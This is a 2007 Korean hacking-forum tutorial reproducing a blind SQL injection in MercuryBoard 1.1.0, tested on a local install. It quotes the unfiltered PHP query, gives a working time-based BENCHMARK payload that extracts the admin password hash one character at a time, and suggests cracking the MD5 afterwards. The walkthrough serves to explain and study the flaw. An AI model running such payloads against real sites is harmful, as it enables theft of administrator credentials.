|
http://www.hackerschool.org/HS_Boards/zboard.php?desc=desc&no=847 [복사]
인터넷에서 2005년 bugtraq에 올라온 sql injection 취약점입니다. (Linux+Mysql+PHP)
외국에 사용되는 mercuryboard 라는 게시판에 blind sql injection에 대한 글입니다.
www.mercuryboard.com에 사이트 방문해서 프로그램을 받았는데
현재 최신버젼 1.1.4 라서 글에 사용하고 있는 1.1.0 버젼을 찾아봤습니다.
검색해서 찾아보니 http://www.mercuryboard.com/files/old/mercuryboard-1.1.0.zip
에서 찾을 수 있었습니다.
mercuyboard 설치하고 취약점을 테스트합니다.
http://localhost/index.php?a=post&s=reply&t=1' 명령을 해보니 ' 처리를 잘 못해서
sql 문장 에러가 나옵니다.
SELECT t.topic_modes, t.topic_title, f.forum_name, f.forum_id, t.topic_replies FROM mb_topics t, mb_forums f WHERE t.topic_id=1\' AND f.forum_id=t.topic_forum
post.php
$topic = $this->db->fetch("
SELECT
t.topic_modes, t.topic_title, f.forum_name, f.forum_id, t.topic_replies
FROM
{$this->pre}topics t, {$this->pre}forums f
WHERE
t.topic_id={$this->get['t']} AND f.forum_id=t.topic_forum");
에러가 나오는걸 보고 입력값의 필터링을 하지 않는것을 알 수 있습니다.
테스트 하기 위해 내가 등록한 admin 정보를 디비에서 출력합니다.
mysql> select user_name,user_password from mb_users where user_group=1;
+-----------+----------------------------------+
| user_name | user_password |
+-----------+----------------------------------+
| admin | 81dc9bdb52d04dc20036dbd8313ed055 |
+-----------+----------------------------------+
1 row in set (0.00 sec)
웹상에서 user_password의 첫문자인 8을 알아내는게 목표입니다.
이 글에서 사용한 방법은 time delay를 통해서 판단합니다.
MSSQL 에서는 IF [QUERY] waitfor [TIME]. 방식으로 사용하는데
MySql 에서는 BENCHMARK() 함수를 대안으로 사용합니다.
웹에서
http://localhost/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF(SUBSTRING(user_password,1,1)%20=%20CHAR(56),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*
http://localhost/index.php?a=post&s=reply&t=1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(56),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null FROM mb_users WHERE user_group = 1/*
라고 치면 IF 조건에 의해 참인경우 10초 후 응답이 나옵니다.
결국 전체 암호를 알아내는데
0 to 9 --> ASCII 48 to 57
a to z --> ASCII 97 to 122
최대시간은
(전체문자 35자 *3(보통 응답시간 초) + 성공시간10초 )*32암호길이 = 3622초 (대략 1시간) 이란 결과가 나옵니다.
암호를 알아내면 MD5를 크랙하는 최신기술을 사용하여 암호를 알아낼 수 있습니다
--------------------------------------------------------------------------
이번에는 취약점도 테스트하는 것을 썼네요 많은 도움이 되었으면 좋겠네요
출처 이것도 역시 버그*게임핵*키로그*해킹&보안툴 의 광대님이 쓴글을
쪼까(<-뭰 사투리냐?) 변형 시킨것입니다 |
Hit : 10285 Date : 2007/08/28 03:27
|
1586, 
63/80 
